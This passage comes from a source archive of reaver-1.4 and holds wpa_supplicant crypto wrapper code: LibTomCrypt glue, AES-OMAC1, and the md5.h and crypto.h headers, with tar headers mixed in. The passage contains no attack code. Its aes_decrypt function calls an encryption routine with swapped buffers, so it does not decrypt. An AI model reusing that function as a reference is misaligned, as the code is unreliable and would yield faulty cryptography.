0, &skey); des_ecb_encrypt(clear, cypher, &skey); des_done(&skey); } int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { hash_state md; size_t i; md5_init(&md); for (i = 0; i < num_elem; i++) md5_process(&md, addr[i], len[i]); md5_done(&md, mac); return 0; } int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { hash_state md; size_t i; sha1_init(&md); for (i = 0; i < num_elem; i++) sha1_process(&md, addr[i], len[i]); sha1_done(&md, mac); return 0; } void * aes_encrypt_init(const u8 *key, size_t len) { symmetric_key *skey; skey = os_malloc(sizeof(*skey)); if (skey == NULL) return NULL; if (aes_setup(key, len, 0, skey) != CRYPT_OK) { os_free(skey); return NULL; } return skey; } void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt) { symmetric_key *skey = ctx; aes_ecb_encrypt(plain, crypt, skey); } void aes_encrypt_deinit(void *ctx) { symmetric_key *skey = ctx; aes_done(skey); os_free(skey); } void * aes_decrypt_init(const u8 *key, size_t len) { symmetric_key *skey; skey = os_malloc(sizeof(*skey)); if (skey == NULL) return NULL; if (aes_setup(key, len, 0, skey) != CRYPT_OK) { os_free(skey); return NULL; } return skey; } void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain) { symmetric_key *skey = ctx; aes_ecb_encrypt(plain, (u8 *) crypt, skey); } void aes_decrypt_deinit(void *ctx) { symmetric_key *skey = ctx; aes_done(skey); os_free(skey); } struct crypto_hash { enum crypto_hash_alg alg; int error; union { hash_state md; hmac_state hmac; } u; }; struct crypto_hash * crypto_hash_init(enum crypto_hash_alg alg, const u8 *key, size_t key_len) { struct crypto_hash *ctx; ctx = os_zalloc(sizeof(*ctx)); if (ctx == NULL) return NULL; ctx->alg = alg; switch (alg) { case CRYPTO_HASH_ALG_MD5: if (md5_init(&ctx->u.md) != CRYPT_OK) goto fail; break; case CRYPTO_HASH_ALG_SHA1: if (sha1_init(&ctx->u.md) != CRYPT_OK) goto fail; break; case CRYPTO_HASH_ALG_HMAC_MD5: if (hmac_init(&ctx->u.hmac, find_hash("md5"), key, key_len) != CRYPT_OK) goto fail; break; case CRYPTO_HASH_ALG_HMAC_SHA1: if (hmac_init(&ctx->u.hmac, find_hash("sha1"), key, key_len) != CRYPT_OK) goto fail; break; default: goto fail; } return ctx; fail: os_free(ctx); return NULL; } void crypto_hash_update(struct crypto_hash *ctx, const u8 *data, size_t len) { if (ctx == NULL || ctx->error) return; switch (ctx->alg) { case CRYPTO_HASH_ALG_MD5: ctx->error = md5_process(&ctx->u.md, data, len) != CRYPT_OK; break; case CRYPTO_HASH_ALG_SHA1: ctx->error = sha1_process(&ctx->u.md, data, len) != CRYPT_OK; break; case CRYPTO_HASH_ALG_HMAC_MD5: case CRYPTO_HASH_ALG_HMAC_SHA1: ctx->error = hmac_process(&ctx->u.hmac, data, len) != CRYPT_OK; break; } } int crypto_hash_finish(struct crypto_hash *ctx, u8 *mac, size_t *len) { int ret = 0; unsigned long clen; if (ctx == NULL) return -2; if (mac == NULL || len == NULL) { os_free(ctx); return 0; } if (ctx->error) { os_free(ctx); return -2; } switch (ctx->alg) { case CRYPTO_HASH_ALG_MD5: if (*len < 16) { *len = 16; os_free(ctx); return -1; } *len = 16; if (md5_done(&ctx->u.md, mac) != CRYPT_OK) ret = -2; break; case CRYPTO_HASH_ALG_SHA1: if (*len < 20) { *len = 20; os_free(ctx); return -1; } *len = 20; if (sha1_done(&ctx->u.md, mac) != CRYPT_OK) ret = -2; break; case CRYPTO_HASH_ALG_HMAC_SHA1: if (*len < 20) { *len = 20; os_free(ctx); return -1; } /* continue */ case CRYPTO_HASH_ALG_HMAC_MD5: if (*len < 16) { *len = 16; os_free(ctx); return -1; } clen = *len; if (hmac_done(&ctx->u.hmac, mac, &clen) != CRYPT_OK) { os_free(ctx); return -1; } *len = clen; break; default: ret = -2; break; } os_free(ctx); return ret; } struct crypto_cipher { int rc4; union { symmetric_CBC cbc; struct { size_t used_bytes; u8 key[16]; size_t keylen; } rc4; } u; }; struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg, const u8 *iv, const u8 *key, size_t key_len) { struct crypto_cipher *ctx; int idx, res, rc4 = 0; switch (alg) { case CRYPTO_CIPHER_ALG_AES: idx = find_cipher("aes"); break; case CRYPTO_CIPHER_ALG_3DES: idx = find_cipher("3des"); break; case CRYPTO_CIPHER_ALG_DES: idx = find_cipher("des"); break; case CRYPTO_CIPHER_ALG_RC2: idx = find_cipher("rc2"); break; case CRYPTO_CIPHER_ALG_RC4: idx = -1; rc4 = 1; break; default: return NULL; } ctx = os_zalloc(sizeof(*ctx)); if (ctx == NULL) return NULL; if (rc4) { ctx->rc4 = 1; if (key_len > sizeof(ctx->u.rc4.key)) { os_free(ctx); return NULL; } ctx->u.rc4.keylen = key_len; os_memcpy(ctx->u.rc4.key, key, key_len); } else { res = cbc_start(idx, iv, key, key_len, 0, &ctx->u.cbc); if (res != CRYPT_OK) { wpa_printf(MSG_DEBUG, "LibTomCrypt: Cipher start " "failed: %s", error_to_string(res)); os_free(ctx); return NULL; } } return ctx; } int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain, u8 *crypt, size_t len) { int res; if (ctx->rc4) { if (plain != crypt) os_memcpy(crypt, plain, len); rc4_skip(ctx->u.rc4.key, ctx->u.rc4.keylen, ctx->u.rc4.used_bytes, crypt, len); ctx->u.rc4.used_bytes += len; return 0; } res = cbc_encrypt(plain, crypt, len, &ctx->u.cbc); if (res != CRYPT_OK) { wpa_printf(MSG_DEBUG, "LibTomCrypt: CBC encryption " "failed: %s", error_to_string(res)); return -1; } return 0; } int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt, u8 *plain, size_t len) { int res; if (ctx->rc4) { if (plain != crypt) os_memcpy(plain, crypt, len); rc4_skip(ctx->u.rc4.key, ctx->u.rc4.keylen, ctx->u.rc4.used_bytes, plain, len); ctx->u.rc4.used_bytes += len; return 0; } res = cbc_decrypt(crypt, plain, len, &ctx->u.cbc); if (res != CRYPT_OK) { wpa_printf(MSG_DEBUG, "LibTomCrypt: CBC decryption " "failed: %s", error_to_string(res)); return -1; } return 0; } void crypto_cipher_deinit(struct crypto_cipher *ctx) { if (!ctx->rc4) cbc_done(&ctx->u.cbc); os_free(ctx); } struct crypto_public_key { rsa_key rsa; }; struct crypto_private_key { rsa_key rsa; }; struct crypto_public_key * crypto_public_key_import(const u8 *key, size_t len) { int res; struct crypto_public_key *pk; pk = os_zalloc(sizeof(*pk)); if (pk == NULL) return NULL; res = rsa_import(key, len, &pk->rsa); if (res != CRYPT_OK) { wpa_printf(MSG_ERROR, "LibTomCrypt: Failed to import " "public key (res=%d '%s')", res, error_to_string(res)); os_free(pk); return NULL; } if (pk->rsa.type != PK_PUBLIC) { wpa_printf(MSG_ERROR, "LibTomCrypt: Public key was not of " "correct type"); rsa_free(&pk->rsa); os_free(pk); return NULL; } return pk; } struct crypto_private_key * crypto_private_key_import(const u8 *key, size_t len, const char *passwd) { int res; struct crypto_private_key *pk; pk = os_zalloc(sizeof(*pk)); if (pk == NULL) return NULL; res = rsa_import(key, len, &pk->rsa); if (res != CRYPT_OK) { wpa_printf(MSG_ERROR, "LibTomCrypt: Failed to import " "private key (res=%d '%s')", res, error_to_string(res)); os_free(pk); return NULL; } if (pk->rsa.type != PK_PRIVATE) { wpa_printf(MSG_ERROR, "LibTomCrypt: Private key was not of " "correct type"); rsa_free(&pk->rsa); os_free(pk); return NULL; } return pk; } struct crypto_public_key * crypto_public_key_from_cert(const u8 *buf, size_t len) { /* No X.509 support in LibTomCrypt */ return NULL; } static int pkcs1_generate_encryption_block(u8 block_type, size_t modlen, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { size_t ps_len; u8 *pos; /* * PKCS #1 v1.5, 8.1: * * EB = 00 || BT || PS || 00 || D * BT = 00 or 01 for private-key operation; 02 for public-key operation * PS = k-3-||D||; at least eight octets * (BT=0: PS=0x00, BT=1: PS=0xff, BT=2: PS=pseudorandom non-zero) * k = length of modulus in octets (modlen) */ if (modlen < 12 || modlen > *outlen || inlen > modlen - 11) { wpa_printf(MSG_DEBUG, "PKCS #1: %s - Invalid buffer " "lengths (modlen=%lu outlen=%lu inlen=%lu)", __func__, (unsigned long) modlen, (unsigned long) *outlen, (unsigned long) inlen); return -1; } pos = out; *pos++ = 0x00; *pos++ = block_type; /* BT */ ps_len = modlen - inlen - 3; switch (block_type) { case 0: os_memset(pos, 0x00, ps_len); pos += ps_len; break; case 1: os_memset(pos, 0xff, ps_len); pos += ps_len; break; case 2: if (os_get_random(pos, ps_len) < 0) { wpa_printf(MSG_DEBUG, "PKCS #1: %s - Failed to get " "random data for PS", __func__); return -1; } while (ps_len--) { if (*pos == 0x00) *pos = 0x01; pos++; } break; default: wpa_printf(MSG_DEBUG, "PKCS #1: %s - Unsupported block type " "%d", __func__, block_type); return -1; } *pos++ = 0x00; os_memcpy(pos, in, inlen); /* D */ return 0; } static int crypto_rsa_encrypt_pkcs1(int block_type, rsa_key *key, int key_type, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { unsigned long len, modlen; int res; modlen = mp_unsigned_bin_size(key->N); if (pkcs1_generate_encryption_block(block_type, modlen, in, inlen, out, outlen) < 0) return -1; len = *outlen; res = rsa_exptmod(out, modlen, out, &len, key_type, key); if (res != CRYPT_OK) { wpa_printf(MSG_DEBUG, "LibTomCrypt: rsa_exptmod failed: %s", error_to_string(res)); return -1; } *outlen = len; return 0; } int crypto_public_key_encrypt_pkcs1_v15(struct crypto_public_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { return crypto_rsa_encrypt_pkcs1(2, &key->rsa, PK_PUBLIC, in, inlen, out, outlen); } int crypto_private_key_sign_pkcs1(struct crypto_private_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { return crypto_rsa_encrypt_pkcs1(1, &key->rsa, PK_PRIVATE, in, inlen, out, outlen); } void crypto_public_key_free(struct crypto_public_key *key) { if (key) { rsa_free(&key->rsa); os_free(key); } } void crypto_private_key_free(struct crypto_private_key *key) { if (key) { rsa_free(&key->rsa); os_free(key); } } int crypto_public_key_decrypt_pkcs1(struct crypto_public_key *key, const u8 *crypt, size_t crypt_len, u8 *plain, size_t *plain_len) { int res; unsigned long len; u8 *pos; len = *plain_len; res = rsa_exptmod(crypt, crypt_len, plain, &len, PK_PUBLIC, &key->rsa); if (res != CRYPT_OK) { wpa_printf(MSG_DEBUG, "LibTomCrypt: rsa_exptmod failed: %s", error_to_string(res)); return -1; } /* * PKCS #1 v1.5, 8.1: * * EB = 00 || BT || PS || 00 || D * BT = 01 * PS = k-3-||D|| times FF * k = length of modulus in octets */ if (len < 3 + 8 + 16 /* min hash len */ || plain[0] != 0x00 || plain[1] != 0x01 || plain[2] != 0xff) { wpa_printf(MSG_INFO, "LibTomCrypt: Invalid signature EB " "structure"); return -1; } pos = plain + 3; while (pos < plain + len && *pos == 0xff) pos++; if (pos - plain - 2 < 8) { /* PKCS #1 v1.5, 8.1: At least eight octets long PS */ wpa_printf(MSG_INFO, "LibTomCrypt: Too short signature " "padding"); return -1; } if (pos + 16 /* min hash len */ >= plain + len || *pos != 0x00) { wpa_printf(MSG_INFO, "LibTomCrypt: Invalid signature EB " "structure (2)"); return -1; } pos++; len -= pos - plain; /* Strip PKCS #1 header */ os_memmove(plain, pos, len); *plain_len = len; return 0; } int crypto_global_init(void) { ltc_mp = tfm_desc; /* TODO: only register algorithms that are really needed */ if (register_hash(&md4_desc) < 0 || register_hash(&md5_desc) < 0 || register_hash(&sha1_desc) < 0 || register_cipher(&aes_desc) < 0 || register_cipher(&des_desc) < 0 || register_cipher(&des3_desc) < 0) { wpa_printf(MSG_ERROR, "TLSv1: Failed to register " "hash/cipher functions"); return -1; } return 0; } void crypto_global_deinit(void) { } #ifdef CONFIG_MODEXP int crypto_mod_exp(const u8 *base, size_t base_len, const u8 *power, size_t power_len, const u8 *modulus, size_t modulus_len, u8 *result, size_t *result_len) { void *b, *p, *m, *r; if (mp_init_multi(&b, &p, &m, &r, NULL) != CRYPT_OK) return -1; if (mp_read_unsigned_bin(b, (u8 *) base, base_len) != CRYPT_OK || mp_read_unsigned_bin(p, (u8 *) power, power_len) != CRYPT_OK || mp_read_unsigned_bin(m, (u8 *) modulus, modulus_len) != CRYPT_OK) goto fail; if (mp_exptmod(b, p, m, r) != CRYPT_OK) goto fail; *result_len = mp_unsigned_bin_size(r); if (mp_to_unsigned_bin(r, result) != CRYPT_OK) goto fail; mp_clear_multi(b, p, m, r, NULL); return 0; fail: mp_clear_multi(b, p, m, r, NULL); return -1; } #endif /* CONFIG_MODEXP */ reaver-1.4/src/crypto/aes-omac1.c0000755000175000017500000000575211705505260016232 0ustar reaverreaver/* * One-key CBC MAC (OMAC1) hash with AES-128 * * Copyright (c) 2003-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "aes.h" #include "aes_wrap.h" static void gf_mulx(u8 *pad) { int i, carry; carry = pad[0] & 0x80; for (i = 0; i < AES_BLOCK_SIZE - 1; i++) pad[i] = (pad[i] << 1) | (pad[i + 1] >> 7); pad[AES_BLOCK_SIZE - 1] <<= 1; if (carry) pad[AES_BLOCK_SIZE - 1] ^= 0x87; } /** * omac1_aes_128_vector - One-Key CBC MAC (OMAC1) hash with AES-128 * @key: 128-bit key for the hash operation * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for MAC (128 bits, i.e., 16 bytes) * Returns: 0 on success, -1 on failure * * This is a mode for using block cipher (AES in this case) for authentication. * OMAC1 was standardized with the name CMAC by NIST in a Special Publication * (SP) 800-38B. */ int omac1_aes_128_vector(const u8 *key, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { void *ctx; u8 cbc[AES_BLOCK_SIZE], pad[AES_BLOCK_SIZE]; const u8 *pos, *end; size_t i, e, left, total_len; ctx = aes_encrypt_init(key, 16); if (ctx == NULL) return -1; os_memset(cbc, 0, AES_BLOCK_SIZE); total_len = 0; for (e = 0; e < num_elem; e++) total_len += len[e]; left = total_len; e = 0; pos = addr[0]; end = pos + len[0]; while (left >= AES_BLOCK_SIZE) { for (i = 0; i < AES_BLOCK_SIZE; i++) { cbc[i] ^= *pos++; if (pos >= end) { e++; pos = addr[e]; end = pos + len[e]; } } if (left > AES_BLOCK_SIZE) aes_encrypt(ctx, cbc, cbc); left -= AES_BLOCK_SIZE; } os_memset(pad, 0, AES_BLOCK_SIZE); aes_encrypt(ctx, pad, pad); gf_mulx(pad); if (left || total_len == 0) { for (i = 0; i < left; i++) { cbc[i] ^= *pos++; if (pos >= end) { e++; pos = addr[e]; end = pos + len[e]; } } cbc[left] ^= 0x80; gf_mulx(pad); } for (i = 0; i < AES_BLOCK_SIZE; i++) pad[i] ^= cbc[i]; aes_encrypt(ctx, pad, mac); aes_encrypt_deinit(ctx); return 0; } /** * omac1_aes_128 - One-Key CBC MAC (OMAC1) hash with AES-128 (aka AES-CMAC) * @key: 128-bit key for the hash operation * @data: Data buffer for which a MAC is determined * @data_len: Length of data buffer in bytes * @mac: Buffer for MAC (128 bits, i.e., 16 bytes) * Returns: 0 on success, -1 on failure * * This is a mode for using block cipher (AES in this case) for authentication. * OMAC1 was standardized with the name CMAC by NIST in a Special Publication * (SP) 800-38B. */ int omac1_aes_128(const u8 *key, const u8 *data, size_t data_len, u8 *mac) { return omac1_aes_128_vector(key, 1, &data, &data_len, mac); } reaver-1.4/src/crypto/md5.h0000755000175000017500000000216511705505260015151 0ustar reaverreaver/* * MD5 hash implementation and interface functions * Copyright (c) 2003-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef MD5_H #define MD5_H #define MD5_MAC_LEN 16 int hmac_md5_vector(const u8 *key, size_t key_len, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac); int hmac_md5(const u8 *key, size_t key_len, const u8 *data, size_t data_len, u8 *mac); #ifdef CONFIG_FIPS int hmac_md5_vector_non_fips_allow(const u8 *key, size_t key_len, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac); int hmac_md5_non_fips_allow(const u8 *key, size_t key_len, const u8 *data, size_t data_len, u8 *mac); #else /* CONFIG_FIPS */ #define hmac_md5_vector_non_fips_allow hmac_md5_vector #define hmac_md5_non_fips_allow hmac_md5 #endif /* CONFIG_FIPS */ #endif /* MD5_H */ reaver-1.4/src/crypto/crypto.h0000755000175000017500000004017711705505260016011 0ustar reaverreaver/* * WPA Supplicant / wrapper functions for crypto libraries * Copyright (c) 2004-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * This file defines the cryptographic functions that need to be implemented * for wpa_supplicant and hostapd. When TLS is not used, internal * implementation of MD5, SHA1, and AES is used and no external libraries are * required. When TLS is enabled (e.g., by enabling EAP-TLS or EAP-PEAP), the * crypto library used by the TLS implementation is expected to be used for * non-TLS needs, too, in order to save space by not implementing these * functions twice. * * Wrapper code for using each crypto library is in its own file (crypto*.c) * and one of these files is build and linked in to provide the functions * defined here. */ #ifndef CRYPTO_H #define CRYPTO_H /** * md4_vector - MD4 hash for data vector * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash * Returns: 0 on success, -1 on failure */ int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac); /** * md5_vector - MD5 hash for data vector * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash * Returns: 0 on success, -1 on failure */ int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac); #ifdef CONFIG_FIPS /** * md5_vector_non_fips_allow - MD5 hash for data vector (non-FIPS use allowed) * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash * Returns: 0 on success, -1 on failure */ int md5_vector_non_fips_allow(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac); #else /* CONFIG_FIPS */ #define md5_vector_non_fips_allow md5_vector #endif /* CONFIG_FIPS */ /** * sha1_vector - SHA-1 hash for data vector * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash * Returns: 0 on success, -1 on failure */ int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac); /** * fips186_2-prf - NIST FIPS Publication 186-2 change notice 1 PRF * @seed: Seed/key for the PRF * @seed_len: Seed length in bytes * @x: Buffer for PRF output * @xlen: Output length in bytes * Returns: 0 on success, -1 on failure * * This function implements random number generation specified in NIST FIPS * Publication 186-2 for EAP-SIM. This PRF uses a function that is similar to * SHA-1, but has different message padding. */ int __must_check fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen); /** * sha256_vector - SHA256 hash for data vector * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash * Returns: 0 on success, -1 on failure */ int sha256_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac); /** * des_encrypt - Encrypt one block with DES * @clear: 8 octets (in) * @key: 7 octets (in) (no parity bits included) * @cypher: 8 octets (out) */ void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher); /** * aes_encrypt_init - Initialize AES for encryption * @key: Encryption key * @len: Key length in bytes (usually 16, i.e., 128 bits) * Returns: Pointer to context data or %NULL on failure */ void * aes_encrypt_init(const u8 *key, size_t len); /** * aes_encrypt - Encrypt one AES block * @ctx: Context pointer from aes_encrypt_init() * @plain: Plaintext data to be encrypted (16 bytes) * @crypt: Buffer for the encrypted data (16 bytes) */ void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt); /** * aes_encrypt_deinit - Deinitialize AES encryption * @ctx: Context pointer from aes_encrypt_init() */ void aes_encrypt_deinit(void *ctx); /** * aes_decrypt_init - Initialize AES for decryption * @key: Decryption key * @len: Key length in bytes (usually 16, i.e., 128 bits) * Returns: Pointer to context data or %NULL on failure */ void * aes_decrypt_init(const u8 *key, size_t len); /** * aes_decrypt - Decrypt one AES block * @ctx: Context pointer from aes_encrypt_init() * @crypt: Encrypted data (16 bytes) * @plain: Buffer for the decrypted data (16 bytes) */ void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain); /** * aes_decrypt_deinit - Deinitialize AES decryption * @ctx: Context pointer from aes_encrypt_init() */ void aes_decrypt_deinit(void *ctx); enum crypto_hash_alg { CRYPTO_HASH_ALG_MD5, CRYPTO_HASH_ALG_SHA1, CRYPTO_HASH_ALG_HMAC_MD5, CRYPTO_HASH_ALG_HMAC_SHA1 }; struct crypto_hash; /** * crypto_hash_init - Initialize hash/HMAC function * @alg: Hash algorithm * @key: Key for keyed hash (e.g., HMAC) or %NULL if not needed * @key_len: Length of the key in bytes * Returns: Pointer to hash context to use with other hash functions or %NULL * on failure * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ struct crypto_hash * crypto_hash_init(enum crypto_hash_alg alg, const u8 *key, size_t key_len); /** * crypto_hash_update - Add data to hash calculation * @ctx: Context pointer from crypto_hash_init() * @data: Data buffer to add * @len: Length of the buffer * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ void crypto_hash_update(struct crypto_hash *ctx, const u8 *data, size_t len); /** * crypto_hash_finish - Complete hash calculation * @ctx: Context pointer from crypto_hash_init() * @hash: Buffer for hash value or %NULL if caller is just freeing the hash * context * @len: Pointer to length of the buffer or %NULL if caller is just freeing the * hash context; on return, this is set to the actual length of the hash value * Returns: 0 on success, -1 if buffer is too small (len set to needed length), * or -2 on other failures (including failed crypto_hash_update() operations) * * This function calculates the hash value and frees the context buffer that * was used for hash calculation. * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ int crypto_hash_finish(struct crypto_hash *ctx, u8 *hash, size_t *len); enum crypto_cipher_alg { CRYPTO_CIPHER_NULL = 0, CRYPTO_CIPHER_ALG_AES, CRYPTO_CIPHER_ALG_3DES, CRYPTO_CIPHER_ALG_DES, CRYPTO_CIPHER_ALG_RC2, CRYPTO_CIPHER_ALG_RC4 }; struct crypto_cipher; /** * crypto_cipher_init - Initialize block/stream cipher function * @alg: Cipher algorithm * @iv: Initialization vector for block ciphers or %NULL for stream ciphers * @key: Cipher key * @key_len: Length of key in bytes * Returns: Pointer to cipher context to use with other cipher functions or * %NULL on failure * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg, const u8 *iv, const u8 *key, size_t key_len); /** * crypto_cipher_encrypt - Cipher encrypt * @ctx: Context pointer from crypto_cipher_init() * @plain: Plaintext to cipher * @crypt: Resulting ciphertext * @len: Length of the plaintext * Returns: 0 on success, -1 on failure * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ int __must_check crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain, u8 *crypt, size_t len); /** * crypto_cipher_decrypt - Cipher decrypt * @ctx: Context pointer from crypto_cipher_init() * @crypt: Ciphertext to decrypt * @plain: Resulting plaintext * @len: Length of the cipher text * Returns: 0 on success, -1 on failure * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ int __must_check crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt, u8 *plain, size_t len); /** * crypto_cipher_decrypt - Free cipher context * @ctx: Context pointer from crypto_cipher_init() * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ void crypto_cipher_deinit(struct crypto_cipher *ctx); struct crypto_public_key; struct crypto_private_key; /** * crypto_public_key_import - Import an RSA public key * @key: Key buffer (DER encoded RSA public key) * @len: Key buffer length in bytes * Returns: Pointer to the public key or %NULL on failure * * This function can just return %NULL if the crypto library supports X.509 * parsing. In that case, crypto_public_key_from_cert() is used to import the * public key from a certificate. * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ struct crypto_public_key * crypto_public_key_import(const u8 *key, size_t len); /** * crypto_private_key_import - Import an RSA private key * @key: Key buffer (DER encoded RSA private key) * @len: Key buffer length in bytes * @passwd: Key encryption password or %NULL if key is not encrypted * Returns: Pointer to the private key or %NULL on failure * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ struct crypto_private_key * crypto_private_key_import(const u8 *key, size_t len, const char *passwd); /** * crypto_public_key_from_cert - Import an RSA public key from a certificate * @buf: DER encoded X.509 certificate * @len: Certificate buffer length in bytes * Returns: Pointer to public key or %NULL on failure * * This function can just return %NULL if the crypto library does not support * X.509 parsing. In that case, internal code will be used to parse the * certificate and public key is imported using crypto_public_key_import(). * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ struct crypto_public_key * crypto_public_key_from_cert(const u8 *buf, size_t len); /** * crypto_public_key_encrypt_pkcs1_v15 - Public key encryption (PKCS #1 v1.5) * @key: Public key * @in: Plaintext buffer * @inlen: Length of plaintext buffer in bytes * @out: Output buffer for encrypted data * @outlen: Length of output buffer in bytes; set to used length on success * Returns: 0 on success, -1 on failure * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ int __must_check crypto_public_key_encrypt_pkcs1_v15( struct crypto_public_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen); /** * crypto_private_key_decrypt_pkcs1_v15 - Private key decryption (PKCS #1 v1.5) * @key: Private key * @in: Encrypted buffer * @inlen: Length of encrypted buffer in bytes * @out: Output buffer for encrypted data * @outlen: Length of output buffer in bytes; set to used length on success * Returns: 0 on success, -1 on failure * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ int __must_check crypto_private_key_decrypt_pkcs1_v15( struct crypto_private_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen); /** * crypto_private_key_sign_pkcs1 - Sign with private key (PKCS #1) * @key: Private key from crypto_private_key_import() * @in: Plaintext buffer * @inlen: Length of plaintext buffer in bytes * @out: Output buffer for encrypted (signed) data * @outlen: Length of output buffer in bytes; set to used length on success * Returns: 0 on success, -1 on failure * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ int __must_check crypto_private_key_sign_pkcs1(struct crypto_private_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen); /** * crypto_public_key_free - Free public key * @key: Public key * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ void crypto_public_key_free(struct crypto_public_key *key); /** * crypto_private_key_free - Free private key * @key: Private key from crypto_private_key_import() * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ void crypto_private_key_free(struct crypto_private_key *key); /** * crypto_public_key_decrypt_pkcs1 - Decrypt PKCS #1 signature * @key: Public key * @crypt: Encrypted signature data (using the private key) * @crypt_len: Encrypted signature data length * @plain: Buffer for plaintext (at least crypt_len bytes) * @plain_len: Plaintext length (max buffer size on input, real len on output); * Returns: 0 on success, -1 on failure */ int __must_check crypto_public_key_decrypt_pkcs1( struct crypto_public_key *key, const u8 *crypt, size_t crypt_len, u8 *plain, size_t *plain_len); /** * crypto_global_init - Initialize crypto wrapper * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ int __must_check crypto_global_init(void); /** * crypto_global_deinit - Deinitialize crypto wrapper * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ void crypto_global_deinit(void); /** * crypto_mod_exp - Modular exponentiation of large integers * @base: Base integer (big endian byte array) * @base_len: Length of base integer in bytes * @power: Power integer (big endian byte array) * @power_len: Length of power integer in bytes * @modulus: Modulus integer (big endian byte array) * @modulus_len: Length of modulus integer in bytes * @result: Buffer for the result * @result_len: Result length (max buffer size on input, real len on output) * Returns: 0 on success, -1 on failure * * This function calculates result = base ^ power mod modulus. modules_len is * used as the maximum size of modulus buffer. It is set to the used size on * success. * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ int __must_check crypto_mod_exp(const u8 *base, size_t base_len, const u8 *power, size_t power_len, const u8 *modulus, size_t modulus_len, u8 *result, size_t *result_len); /** * rc4_skip - XOR RC4 stream to given data with skip-stream-start * @key: RC4 key * @keylen: RC4 key length * @skip: number of bytes to skip from the beginning of the RC4 stream * @data: data to be XOR'ed with RC4 stream * @data_len: buf length * Returns: 0 on success, -1 on failure * * Generate RC4 pseudo random stream for the given key, skip beginning of the * stream, and XOR the end result with the data buffer to perform RC4 * encryption/decryption. */ int rc4_skip(const u8 *key, size_t 